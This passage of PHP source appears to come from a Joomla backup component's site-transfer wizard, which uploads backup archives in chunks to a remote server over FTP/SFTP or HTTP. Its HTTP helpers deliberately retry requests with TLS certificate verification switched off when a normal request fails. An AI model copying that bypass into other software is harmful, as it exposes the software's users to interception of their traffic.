		// Calculated optimum chunk size (maxTransferSize is calculated by server-to-server speed limits)
		$maxTransferSize = min($maxUploadLimit, $userUploadLimit, $maxTransferSize, $chunkSizeLimit);

		/**
		 * A little explanation for "$maxUploadLimit / 4" below. We are uploading binary data which gets encoded as
		 * form data. The integer part is a rough estimation of the size discrepancy between raw and encoded data.
		 */
		if ($config['chunkMode'] == 'post')
		{
			$maxTransferSize = min(floor($maxUploadLimit / 4), $maxTransferSize, $chunkSizeLimit);
		}

		// Save the optimal transfer size in the session
		$this->session->set('akeebabackup.transfer.fragSize', $maxTransferSize);
	}

	/**
	 * Upload the next fragment
	 *
	 * @param   array  $config  FTP/SFTP connection details
	 *
	 * @return  array
	 * @throws  Exception
	 *
	 */
	public function uploadChunk(array $config): array
	{
		$ret = [
			'result'    => true,
			'done'      => false,
			'message'   => '',
			'totalSize' => 0,
			'doneSize'  => 0,
		];

		// Get information from the session
		$fragSize  = $this->session->get('akeebabackup.transfer.fragSize', 5242880);
		$backup    = $this->session->get('akeebabackup.transfer.lastBackup', []);
		$totalSize = $this->session->get('akeebabackup.transfer.totalSize', 0);
		$doneSize  = $this->session->get('akeebabackup.transfer.doneSize', 0);
		$part      = $this->session->get('akeebabackup.transfer.part', -1);
		$frag      = $this->session->get('akeebabackup.transfer.frag', -1);

		// Do I need to update the total size?
		if (!$totalSize)
		{
			$totalSize = $backup['total_size'];
			$this->session->set('akeebabackup.transfer.totalSize', $totalSize);
		}

		$ret['totalSize'] = $totalSize;

		// First fragment of a new part
		if ($frag == -1)
		{
			$frag = 0;
			$part++;
		}

		/**
		 * If the backup is single part then $backup['multipart'] is 0. This means that the next if-block will report
		 * that the transfer is done. In these cases we have to convert $backup['multipart'] to 1 to let the upload
		 * actually run at all.
		 */
		if ($backup['multipart'] == 0)
		{
			$backup['multipart'] = 1;
		}

		// If I'm past the last part I'm done.
		if ($part >= $backup['multipart'])
		{

			// We are done
			$ret['done'] = true;

			return $ret;
		}

		// Get the information for this part
		$fileName = $this->getPartFilename($backup['absolute_path'], $part);
		$fileSize = filesize($fileName);

		$intendedSeekPosition = $fragSize * $frag;

		// I am trying to seek past EOF. Oops. Upload the next part.
		if ($intendedSeekPosition >= $fileSize)
		{
			$this->session->set('akeebabackup.transfer.frag', -1);

			return $this->uploadChunk($config);
		}

		// Open the part
		$fp = @fopen($fileName, 'r');

		if ($fp === false)
		{
			$ret['result']  = false;
			$ret['message'] = Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE', $fileName);

			return $ret;
		}

		// Seek to position
		if (fseek($fp, $intendedSeekPosition) == -1)
		{
			@fclose($fp);

			$ret['result']  = false;
			$ret['message'] = Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE', $fileName);

			return $ret;
		}

		// Read the data
		$data            = fread($fp, $fragSize);
		$doneSize        += strlen($data);
		$ret['doneSize'] = $doneSize;
		$this->session->set('akeebabackup.transfer.doneSize', $doneSize);

		// Upload the data
		$this->session->set('akeebabackup.transfer.frag', $frag);

		try
		{
			switch ($config['chunkMode'])
			{
				case 'post':
					$dataLength = $this->uploadUsingPost($fileName, $data);
					break;

				case 'chunked':
				default:
					$dataLength = $this->uploadUsingChunked($fileName, $data, $config);
					break;
			}
		}
		finally
		{
			// Close the part
			fclose($fp);
		}

		// Update the session data
		$this->session->set('akeebabackup.transfer.fragSize', $fragSize);
		$this->session->set('akeebabackup.transfer.totalSize', $totalSize);
		$this->session->set('akeebabackup.transfer.doneSize', $doneSize);
		$this->session->set('akeebabackup.transfer.part', $part);
		$this->session->set('akeebabackup.transfer.frag', ++$frag);

		// Did I go past EOF? Then on to the next part
		$intendedSeekPosition += $dataLength;

		if ($intendedSeekPosition >= $fileSize)
		{
			$this->session->set('akeebabackup.transfer.frag', -1);
			$this->session->set('akeebabackup.transfer.part', ++$part);
		}

		// Did I reach the last part? Then I'm done
		if ($part >= $backup['multipart'])
		{
			// We are done
			$ret['done'] = true;
		}

		return $ret;
	}

	/**
	 * Reset the upload information. Required to start over.
	 *
	 * @return  void
	 */
	public function resetUpload()
	{
		$this->session->set('akeebabackup.transfer.totalSize', 0);
		$this->session->set('akeebabackup.transfer.doneSize', 0);
		$this->session->set('akeebabackup.transfer.part', -1);
		$this->session->set('akeebabackup.transfer.frag', -1);
	}

	/**
	 * Gets the FTP configuration from the session
	 *
	 * @return  array
	 */
	public function getFtpConfig(): array
	{
		$transferOption = $this->session->get('akeebabackup.transfer.transferOption', '');

		return [
			'method'      => $transferOption,
			'force'       => $this->session->get('akeebabackup.transfer.force', 0),
			'host'        => $this->session->get('akeebabackup.transfer.ftpHost', ''),
			'port'        => $this->session->get('akeebabackup.transfer.ftpPort', ''),
			'username'    => $this->session->get('akeebabackup.transfer.ftpUsername', ''),
			'password'    => $this->session->get('akeebabackup.transfer.ftpPassword', ''),
			'directory'   => $this->session->get('akeebabackup.transfer.ftpDirectory', ''),
			'ssl'         => $transferOption == 'ftps',
			'passive'     => $this->session->get('akeebabackup.transfer.ftpPassive', 1),
			'passive_fix' => $this->session->get('akeebabackup.transfer.ftpPassiveFix', 1),
			'privateKey'  => $this->session->get('akeebabackup.transfer.ftpPrivateKey', ''),
			'publicKey'   => $this->session->get('akeebabackup.transfer.ftpPubKey', ''),
			'chunkMode'   => $this->session->get('akeebabackup.transfer.chunkMode', 'chunked'),
			'chunkSize'   => $this->session->get('akeebabackup.transfer.chunkSize', '5242880'),
		];
	}

	public function makeRandomPrefix(): string
	{
		$randomPrefix = UserHelper::genRandomPassword(16);

		$this->session->set('akeebabackup.transfer.randomName', $randomPrefix);

		return $randomPrefix;
	}

	/**
	 * Tries to simplify a server path to get the site's root. It can handle most forms on non-SEF and non-rewrite SEF
	 * URLs (as in index.php?foo=bar, something.php/this/is?completely=nuts#ok). It can't fix stupid but it tries really
	 * bloody hard to.
	 *
	 * @param   string  $path  The path to simplify. We *expect* this to contain nonsense.
	 *
	 * @return  string  The scrubbed clean URL, hopefully leading to the site's root.
	 */
	private function simplifyPath(string $path): string
	{
		$path = ltrim($path, '/');

		if (empty($path))
		{
			return $path;
		}

		// Trim out anything after a .php file (including the .php file itself)
		if (substr($path, -1) != '/')
		{
			$parts    = explode('/', $path);
			$newParts = [];

			foreach ($parts as $part)
			{
				if (substr($part, -4) == '.php')
				{
					break;
				}

				$newParts[] = $part;
			}

			$path = implode('/', $newParts);
		}

		if (substr($path, -13) == 'administrator')
		{
			$path = substr($path, 0, -13);
		}

		return $path;
	}

	/**
	 * Gets the TransferInterface connector object based on the $config configuration parameters array
	 *
	 * @param   array  $config  The configuration array with the FTP/SFTP connection information
	 *
	 * @return  TransferInterface
	 *
	 * @throws  RuntimeException
	 */
	private function getConnector(array $config): TransferInterface
	{
		switch ($config['method'])
		{
			case 'sftp':
				$connector = new Sftp($config);
				break;

			case 'sftpcurl':
				$connector = new SftpCurl($config);
				break;

			case 'ftpcurl':
			case 'ftpscurl':
				$connector = new FtpCurl($config);
				break;

			default:
				$connector = new Ftp($config);
				break;
		}

		return $connector;
	}

	/**
	 * Checks if the remote site is the same as the site we are running the wizard from.
	 *
	 * @param   TransferInterface  $connector
	 */
	private function checkIfSameSite(TransferInterface $connector)
	{
		$myConfiguration = @file_get_contents(JPATH_ROOT . '/configuration.php');

		if ($myConfiguration === false)
		{
			return;
		}

		try
		{
			$otherConfiguration = $connector->read($connector->getPath('configuration.php'));
		}
		catch (Exception $e)
		{
			// File not found. No harm done.

			return;
		}

		if ($otherConfiguration == $myConfiguration)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE'));
		}
	}

	/**
	 * Check if there's a special file which might prevent site transfer from taking place.
	 *
	 * @param   TransferInterface  $connector
	 */
	private function checkIfHasSpecialFile(TransferInterface $connector)
	{
		$possibleFiles = ['.htaccess', 'web.config', 'php.ini', '.user.ini'];

		foreach ($possibleFiles as $file)
		{
			try
			{
				$fileContents = $connector->read($connector->getPath($file));
			}
			catch (Exception $e)
			{
				// File not found. No harm done.
				continue;
			}

			if (empty($fileContents))
			{
				continue;
			}

			throw new TransferIgnorableError(Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS', $file));
		}
	}

	/**
	 * Check if there's an existing site
	 *
	 * @param   TransferInterface  $connector
	 */
	private function checkIfExistingSite(TransferInterface $connector)
	{
		/**
		 * I run into a PHP bug. When we try to read 'wordpress/index.php' over FTP to determine if it exists we end up
		 * with the folder "wordpress" being created. I have only been able to reproduce with with VSFTPd. The VSFTPd
		 * log claims there is only an unsuccessful read operation. Why the folder is created is a mystery, but I have
		 * to remove it anyway. I know, right?
		 */
		// $possibleFiles = ['index.php', 'wordpress/index.php'];
		$possibleFiles = ['index.php'];

		foreach ($possibleFiles as $file)
		{
			try
			{
				$fileContents = $connector->read($connector->getPath($file));
			}
			catch (Exception $e)
			{
				// File not found. No harm done.
				continue;
			}

			if (empty($fileContents))
			{
				continue;
			}

			throw new TransferIgnorableError(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE'));
		}
	}

	/**
	 * Check if the connection matches the site's stated URL
	 *
	 * @param   TransferInterface  $connector
	 */
	private function checkIfMatchesUrl(TransferInterface $connector)
	{
		$sourceFile = JPATH_SITE . '/media/com_akeebabackup/icons/loading.gif';

		// Try to upload the file
		try
		{
			$connector->upload($sourceFile, $connector->getPath(basename($sourceFile)));
		}
		catch (Exception $e)
		{
			$errorMessage = Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE', basename($sourceFile));

			$errorMessage .= "  &mdash;  [ " . $e->getMessage() . ' ]';

			throw new RuntimeException($errorMessage);
		}

		// Try to fetch the file over HTTP
		$url = $this->session->get('akeebabackup.transfer.url', '');
		$url = rtrim($url, '/');

		$http     = (new HttpFactory())->getHttp();
		$wrongSSL = false;

		try
		{
			$response = $http->get($url . '/' . basename($sourceFile), [], 10);
			$data     = (string) $response->getBody() ?: null;
		}
		catch (Exception $e)
		{
			$data = null;
		}

		/**
		 * The download of the test file failed. This can mean that the (S)FTP directory does not match the site URL we
		 * were given, DNS resolution does not work or we have an SSL issue. We are going to determine which one is it.
		 */
		if (is_null($data))
		{
			$uri      = new Uri($url);
			$hostname = $uri->getHost();
			$results  = dns_get_record($hostname, DNS_A);

			// If there are no IPv4 records let's try to get IPv6 records
			if (((is_array($results) || ($results instanceof Countable)) ? count($results) : 0) == 0)
			{
				$results = dns_get_record($hostname, DNS_AAAA);
			}

			// No DNS records. So, that's why fetching data failed!
			if ((is_array($results) || $results instanceof Countable ? count($results) : 0) == 0)
			{
				// Delete the temporary file
				$connector->delete($connector->getPath(basename($sourceFile)));

				// And now throw the error
				throw new TransferFatalError(Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_DNS', $hostname));
			}

			/**
			 * The DNS resolution worked. The next theory we have to test is that the SSL certificate is invalid or
			 * self-signed. The best way to do that without having to go through the OpenSSL extensions (which might not
			 * be installed or activated) is to do no SSL checking and retry the download. If that works we definitely
			 * have an SSL issue.
			 *
			 * Since Joomla's HTTP factory doesn't allow security downgrading we have to do it the hard way, with direct
			 * use of fopen() wrappers :(
			 */
			$contextOptions = $this->getProxyStreamContext();
			$contextOptions = array_merge_recursive(
				$contextOptions, [
					'http' => [
						'timeout'         => 10,
						'follow_location' => 1,
					],
					'ssl'  => [
						'verify_peer'      => false,
						'verify_peer_name' => false,
					],
				]
			);
			$context        = stream_context_create($contextOptions);

			$data = @file_get_contents($url . '/' . basename($sourceFile), false, $context) ?: null;
		}

		// Delete the temporary file
		$connector->delete($connector->getPath(basename($sourceFile)));

		// Could we get it over HTTP?
		$originalData = file_get_contents($sourceFile);

		// Downloaded data is verified but the SSL certificate was bad: tell the user to fix the SSL certificate.
		if ($wrongSSL && ($originalData == $data))
		{
			throw new TransferFatalError(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL'));
		}

		// Downloaded data did not match (no matter of the SSL verification): configuration error.
		if ($originalData != $data)
		{
			throw new TransferFatalError(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE'));
		}
	}

	/**
	 * Removes files stored remotely
	 *
	 * @param   TransferInterface  $connector         The transfer object
	 * @param   array              $files             The list of remote files to delete (relative paths)
	 * @param   bool|true          $ignoreExceptions  Should I ignore exceptions thrown?
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	private function removeRemoteFiles(TransferInterface $connector, array $files, $ignoreExceptions = true)
	{
		if (empty($files))
		{
			return;
		}

		foreach ($files as $file)
		{
			$remoteFile = $connector->getPath($file);

			try
			{
				$connector->delete($remoteFile);
			}
			catch (Exception $e)
			{
				// Only let the exception bubble up if we are told not to ignore exceptions
				if (!$ignoreExceptions)
				{
					throw $e;
				}
			}
		}
	}

	/**
	 * Check if the remote server environment matches our expectations.
	 *
	 * @param   bool  $forced  Are we forcing the transfer? If so some checks are ignored
	 *
	 * @throws  Exception
	 */
	private function checkRemoteServerEnvironment(bool $forced = false)
	{
		$baseUrl = $this->session->get('akeebabackup.transfer.url', '');

		$baseUrl = rtrim($baseUrl, '/');

		$randomPrefix = $this->session->get('akeebabackup.transfer.randomName', 'kickstart');
		$rawData = $this->httpGet($baseUrl . '/' . $randomPrefix . '.php?task=serverinfo', [], 10);

		if (is_null($rawData))
		{
			// Cannot access Kickstart on the remote server
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART'));
		}

		// Try to get the raw JSON data
		$pos = strpos($rawData, '###');

		if ($pos === false)
		{
			// Invalid AJAX data, no leading ###
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART'));
		}

		// Remove the leading ###
		$rawData = substr($rawData, $pos + 3);

		$pos = strpos($rawData, '###');

		if ($pos === false)
		{
			// Invalid AJAX data, no trailing ###
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART'));
		}

		// Remove the trailing ###
		$rawData = substr($rawData, 0, $pos);

		// Get the JSON response
		$data = @json_decode($rawData, true);

		if (empty($data))
		{
			// Invalid AJAX data, can't decode this stuff
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART'));
		}

		// Disk space check could be ignored since some hosts return the wrong value for the available disk space
		if (!$forced)
		{
			// Does the server have enough disk space?
			$freeSpace = $data['freeSpace'];

			$requiredSize = $this->getApproximateSpaceRequired();

			if ($requiredSize['size'] > $freeSpace)
			{
				$unit            = ['b', 'KB', 'MB', 'GB', 'TB', 'PB'];
				$freeSpaceString = @round($freeSpace / 1024 ** ($i = floor(log($freeSpace, 1024))), 2) . ' '
				                   . $unit[$i];

				throw new TransferIgnorableError(
					Text::sprintf(
						'COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE', $requiredSize['string'], $freeSpaceString
					)
				);
			}
		}

		// Can I write to remote files?
		$canWrite     = $data['canWrite'];
		$canWriteTemp = $data['canWriteTemp'];

		if (!$canWrite && !$canWriteTemp)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES'));
		}

		if ($canWrite)
		{
			$this->session->set('akeebabackup.transfer.targetPath', '');
		}
		else
		{
			$this->session->set('akeebabackup.transfer.targetPath', 'kicktemp');
		}

		$this->session->set('akeebabackup.transfer.remoteTimeLimit', $data['maxExecTime']);

		// What is my upload limit?
		$uploadLimit = min($data['maxPost'], $data['maxUpload']);

		if (empty($data['maxPost']))
		{
			$uploadLimit = $data['maxUpload'];
		}
		elseif (empty($data['maxUpload']))
		{
			$uploadLimit = $data['maxPost'];
		}

		if (empty($uploadLimit))
		{
			$uploadLimit = 1048576;
		}

		$this->session->set('akeebabackup.transfer.uploadLimit', $uploadLimit);
	}

	/**
	 * Get the filename for a backup part file, given the base file and the part number
	 *
	 * @param   string  $baseFile  Full path to the base file (.jpa, .jps, .zip)
	 * @param   int     $part      Part number
	 *
	 * @return  string
	 */
	private function getPartFilename(string $baseFile, int $part = 0): string
	{
		if ($part == 0)
		{
			return $baseFile;
		}

		$dirname  = dirname($baseFile);
		$basename = basename($baseFile);

		$pos       = strrpos($basename, '.');
		$extension = substr($basename, $pos + 1);

		$newExtension = substr($baseFile, 0, 1) . sprintf('%02u', $part);

		return $dirname . '/' . basename($basename, '.' . $extension) . '.' . $newExtension;
	}

	/**
	 * Returns the PHP memory limit. If ini_get is not available it will assume 8Mb.
	 *
	 * @return  int
	 */
	private function getServerMemoryLimit(): int
	{
		// Default reported memory limit: 8Mb
		$memLimit = 8388608;

		// If we can't find out how much PHP memory we have available use 8Mb by default
		if (!function_exists('ini_get'))
		{
			return $memLimit;
		}

		$iniMemLimit = ini_get("memory_limit");
		$iniMemLimit = $this->convertMemoryLimitToBytes($iniMemLimit);

		$memLimit = ($iniMemLimit > 0) ? $iniMemLimit : $memLimit;

		return (int) $memLimit;
	}

	/**
	 * Gets the maximum chunk size the server can handle safely. It does so by finding the PHP memory limit, removing
	 * the current memory usage (or at least 2Mb) and rounding down to the closest 512Kb. It can never be lower than
	 * 512Kb.
	 *
	 * @return  int
	 */
	private function getMaxChunkSize(): int
	{
		$memoryLimit = $this->getServerMemoryLimit();
		$usedMemory  = max(memory_get_usage(), memory_get_peak_usage(), 2048);

		$maxChunkSize = max(($memoryLimit - $usedMemory) / 2, 524288);

		return floor($maxChunkSize / 524288) * 524288;
	}

	/**
	 * Convert the textual representation of PHP memory limit to an integer, e.g. convert 8M to 8388608
	 *
	 * @param   string  $setting  The PHP memory limit
	 *
	 * @return  int  PHP memory limit as an integer
	 */
	private function convertMemoryLimitToBytes(string $setting): int
	{
		$val  = trim($setting);
		$last = strtolower(substr($val, -1));

		if (is_numeric($last))
		{
			return $setting;
		}

		$val = substr($val, 0, -1);

		switch ($last)
		{
			/** @noinspection PhpMissingBreakStatementInspection */
			case 't':
				$val *= 1024;
			/** @noinspection PhpMissingBreakStatementInspection */
			case 'g':
				$val *= 1024;
			/** @noinspection PhpMissingBreakStatementInspection */
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}

	/**
	 * Uploads a chunk of a backup part file using a direct POST to Kickstart.
	 *
	 * This is the method supported by the Site Transfer Wizard since its inception. However, it may not work with hosts
	 * which have a sensitive server protection, e.g. the very tight mod_security2 rules on SiteGround servers. In those
	 * cases the remote server will respond with a 500 Internal Server Error, a 403 Forbidden or another server error.
	 *
	 * @param   string  $fileName  The filename to upload
	 * @param   string  $data      The data to upload
	 *
	 * @return  int      The length of the data we managed to upload
	 *
	 * @since   3.1.0
	 */
	private function uploadUsingPost(string $fileName, string $data): int
	{
		$frag      = $this->session->get('akeebabackup.transfer.frag', -1);
		$fragSize  = $this->session->get('akeebabackup.transfer.fragSize', 5242880);
		$url       = $this->session->get('akeebabackup.transfer.url', '');
		$directory = $this->session->get('akeebabackup.transfer.targetPath', '');

		$randomPrefix = $this->session->get('akeebabackup.transfer.randomName', 'kickstart');
		$url          = rtrim($url, '/') . '/' . $randomPrefix . '.php';
		$uri          = Uri::getInstance($url);
		$uri->setVar('task', 'uploadFile');
		$uri->setVar('file', basename($fileName));
		$uri->setVar('directory', $directory);
		$uri->setVar('frag', $frag);
		$uri->setVar('fragSize', $fragSize);

		$phpTimeout = 10;

		if (function_exists('ini_get'))
		{
			$phpTimeout = (int) ini_get('max_execution_time') ?: 3600;
			$phpTimeout = min($phpTimeout, 3600);
		}

		$dataLength = function_exists('mb_strlen') ? mb_strlen($data, 'ASCII') : strlen($data);

		$rawData = $this->httpPost(
			$uri->toString(), http_build_query(
			[
				'data' => $data,
			]
		), [], $phpTimeout
		);

		unset($data);

		// Try to get the raw JSON data
		$pos = strpos($rawData, '###');

		if ($pos === false)
		{
			// Invalid AJAX data, no leading ###
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE', basename($fileName))
			);
		}

		// Remove the leading ###
		$rawData = substr($rawData, $pos + 3);

		$pos = strpos($rawData, '###');

		if ($pos === false)
		{
			// Invalid AJAX data, no trailing ###
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE', basename($fileName))
			);
		}

		// Remove the trailing ###
		$rawData = substr($rawData, 0, $pos);

		// Get the JSON response
		$data = @json_decode($rawData, true);

		if (empty($data))
		{
			// Invalid AJAX data, can't decode this stuff
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE', basename($fileName))
			);
		}

		if (!$data['status'])
		{
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE', $data['message'])
			);
		}

		return $dataLength;
	}

	/**
	 * Uploads a chunk of a backup part file via FTP and then uses Kickstart to piece the file together.
	 *
	 * This is a new upload method which works better on servers with tighter security. The only downside is that we
	 * have to open many FTP/SFTP upload sessions which may result in the remote server eventually blocking our uploads.
	 *
	 * @param   string  $fileName  The filename to upload
	 * @param   string  $data      The data to upload
	 * @param   array   $config    The FTP/SFTP configuration
	 *
	 * @return  int      The length of the data we managed to upload
	 *
	 * @throws  Exception
	 * @since   3.1.0
	 */
	private function uploadUsingChunked(string $fileName, string $data, array $config): int
	{
		// ==== Initialize
		$frag      = $this->session->get('akeebabackup.transfer.frag', -1);
		$fragSize  = $this->session->get('akeebabackup.transfer.fragSize', 5242880);
		$url       = $this->session->get('akeebabackup.transfer.url', '');
		$directory = $this->session->get('akeebabackup.transfer.targetPath', '');

		// ==== Upload the data to the same folder as Kickstart, under a temporary name
		// Even though the connector has the write() method, it's not very good for over 1M files. So we create a temp file instead.
		$engineConfig  = Factory::getConfiguration();
		$localTempFile = tempnam(JoomlaFactory::getApplication()->get('tmp_path', sys_get_temp_dir()), 'stw');
		$localTempFile = ($localTempFile === false) ? tempnam(sys_get_temp_dir(), 'stw') : $localTempFile;
		$localTempFile = ($localTempFile === false) ? tempnam(
			$engineConfig->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]'), 'stw'
		) : $localTempFile;

		if ($localTempFile === false)
		{
			throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK'));
		}

		if (!file_put_contents($localTempFile, $data))
		{
			try
			{
				$written = File::write($localTempFile, $data);
			}
			catch (Exception $e)
			{
				$written = false;
			}

			if (!$written)
			{
				throw new RuntimeException(Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK'));
			}
		}

		$random    = new RandomValue();
		$tempFile  = strtolower($random->generateString(8)) . '.dat';
		$connector = $this->getConnector($config);

		try
		{
			$remoteDirectory = $config['directory'] . (empty($directory) ? '' : ('/' . $directory));
			$remoteFile      = $remoteDirectory . '/' . $tempFile;

			$uploaded = $connector->upload($localTempFile, $remoteFile, true);
		}
		finally
		{
			@unlink($localTempFile);
		}

		if (!$uploaded)
		{
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP', $localTempFile, $remoteFile)
			);
		}

		// ==== Call Kickstart to piece together the file
		$randomPrefix = $this->session->get('akeebabackup.transfer.randomName', 'kickstart');
		$url          = rtrim($url, '/') . '/' . $randomPrefix . '.php';
		$uri          = Uri::getInstance($url);
		$uri->setVar('task', 'uploadFile');
		$uri->setVar('file', basename($fileName));
		$uri->setVar('directory', $directory);
		$uri->setVar('frag', $frag);
		$uri->setVar('fragSize', $fragSize);
		$uri->setVar('dataFile', $tempFile);

		$phpTimeout = 10;

		if (function_exists('ini_get'))
		{
			$phpTimeout = (int) ini_get('max_execution_time') ?: 3600;
			$phpTimeout = min($phpTimeout, 3600);
		}

		$dataLength = function_exists('mb_strlen') ? mb_strlen($data, 'ASCII') : strlen($data);

		$rawData = $this->httpGet($uri->toString(), [], $phpTimeout);

		// ==== Delete the temporary files
		@unlink($localTempFile);
		$connector->delete($remoteFile);

		// ==== Parse Kickstart's response

		// Try to get the raw JSON data
		$pos = strpos($rawData, '###');

		if ($pos === false)
		{
			// Invalid AJAX data, no leading ###
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE', basename($fileName))
			);
		}

		// Remove the leading ###
		$rawData = substr($rawData, $pos + 3);

		$pos = strpos($rawData, '###');

		if ($pos === false)
		{
			// Invalid AJAX data, no trailing ###
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE', basename($fileName))
			);
		}

		// Remove the trailing ###
		$rawData = substr($rawData, 0, $pos);

		// Get the JSON response
		$data = @json_decode($rawData, true);

		if (empty($data))
		{
			// Invalid AJAX data, can't decode this stuff
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE', basename($fileName))
			);
		}

		if (!$data['status'])
		{
			throw new RuntimeException(
				Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE', $data['message'])
			);
		}

		return $dataLength;
	}

	/**
	 * Perform an HTTP GET and return the results.
	 *
	 * This method is rigged to work EVEN IF the TLS/SSL certificate of the target server is invalid or self-signed.
	 * This is unfortunately a very typical use case when transferring sites as the target site most often than not is
	 * not fully set up yet (no domain assigned, no TLS certificate assigned and so on).
	 *
	 * If, however, the domain name of the target URL cannot resolve neither as IPv4 nor as IPv6 we'll throw an
	 * exception.
	 *
	 * @param   string  $url      The URL to fetch
	 * @param   array   $headers  Any headers to send (optional). Default: none.
	 * @param   int     $timeout  The timeout in seconds (optional). Default: 10 seconds.
	 *
	 * @return  string|null
	 */
	private function httpGet(string $url, array $headers = [], int $timeout = 10): ?string
	{
		// First I'm going to try with the HTTP factory which is the most reliable method for properly set up sites.
		$http = (new HttpFactory())->getHttp();

		try
		{
			$response = $http->get($url, $headers, $timeout);
			$data     = (string) $response->getBody() ?: null;
		}
		catch (Exception $e)
		{
			// We absorb all exceptions since they are all generic, it's not a different exception per error type :(
			$data = null;
		}

		// Non-null returns mean that the HTTP factory worked. Return early and spare us the trouble.
		if (!is_null($data))
		{
			return $data;
		}

		// Does the domain name resolve?
		$uri      = new Uri($url);
		$hostname = strtolower($uri->getHost());

		if (!isset(self::$domainResolvable[$hostname]))
		{
			$results = dns_get_record($hostname, DNS_A);

			// If there are no IPv4 records let's try to get IPv6 records
			if (((is_array($results) || ($results instanceof Countable)) ? count($results) : 0) == 0)
			{
				$results = dns_get_record($hostname, DNS_AAAA);
			}

			// No DNS records. So, that's why fetching data failed!
			self::$domainResolvable[$hostname] = (is_array($results) || $results instanceof Countable ? count($results)
					: 0) > 0;
		}

		// If the domain doesn't resolve complain loudly.
		if (!self::$domainResolvable[$hostname])
		{
			throw new TransferFatalError(Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_DNS', $hostname));
		}

		/**
		 * The DNS resolution worked. A different error has occurred. Unfortunately, we don't know WHAT happened so we
		 * will make an assumption that the problem is that the TLS/SSL certificate is invalid (e.g. wrong Common Name)
		 * or self-signed. We are going to use the PHP URL fopen wrappers to try and run the request regardless. This is
		 * not very secure but, as we said, it's an unfortunate reality of how this feature is used :(
		 */
		$contextOptions = $this->getProxyStreamContext();
		$contextOptions = array_merge_recursive(
			$contextOptions, [
				'http' => [
					'timeout'         => $timeout,
					'follow_location' => 1,
				],
				'ssl'  => [
					'verify_peer'      => false,
					'verify_peer_name' => false,
				],
			]
		);

		// Headers are provided as a dictionary. PHP expects them as a plain array of "Header-Name: Value" entries.
		if (isset($headers))
		{
			$headers = array_map(
				function ($k, $v) {
					if (is_numeric($k) && strpos($v, ':') !== false)
					{
						return $v;
					}

					return $k . ':' . $v;
				}, array_keys($headers), array_values($headers)
			);
		}

		if (!empty($headers))
		{
			$context['http']['header'] = array_values($headers);
		}

		// Create the context and run the request
		$context = stream_context_create($contextOptions);

		return @file_get_contents($url, false, $context) ?: null;
	}

	/**
	 * Perform an HTTP POST and return the results.
	 *
	 * This method is rigged to work EVEN IF the TLS/SSL certificate of the target server is invalid or self-signed.
	 * This is unfortunately a very typical use case when transferring sites as the target site most often than not is
	 * not fully set up yet (no domain assigned, no TLS certificate assigned and so on).
	 *
	 * If, however, the domain name of the target URL cannot resolve neither as IPv4 nor as IPv6 we'll throw an
	 * exception.
	 *
	 * @param   string  $url      The URL to fetch
	 * @param   string  $data     The data to send over POST
	 * @param   array   $headers  Any headers to send (optional). Default: none.
	 * @param   int     $timeout  The timeout in seconds (optional). Default: 10 seconds.
	 *
	 * @return  string|null
	 */
	private function httpPost(string $url, string $data, array $headers = [], int $timeout = 10): ?string
	{
		// First I'm going to try with the HTTP factory which is the most reliable method for properly set up sites.
		$http = (new HttpFactory())->getHttp();

		try
		{
			$response = $http->post($url, $data, $headers, $timeout);
			$ret      = (string) $response->getBody() ?: null;
		}
		catch (Exception $e)
		{
			// We absorb all exceptions since they are all generic, it's not a different exception per error type :(
			$ret = null;
		}

		// Non-null returns mean that the HTTP factory worked. Return early and spare us the trouble.
		if (!is_null($ret))
		{
			return $ret;
		}

		// Does the domain name resolve?
		$uri      = new Uri($url);
		$hostname = strtolower($uri->getHost());

		if (!isset(self::$domainResolvable[$hostname]))
		{
			$results = dns_get_record($hostname, DNS_A);

			// If there are no IPv4 records let's try to get IPv6 records
			if (((is_array($results) || ($results instanceof Countable)) ? count($results) : 0) == 0)
			{
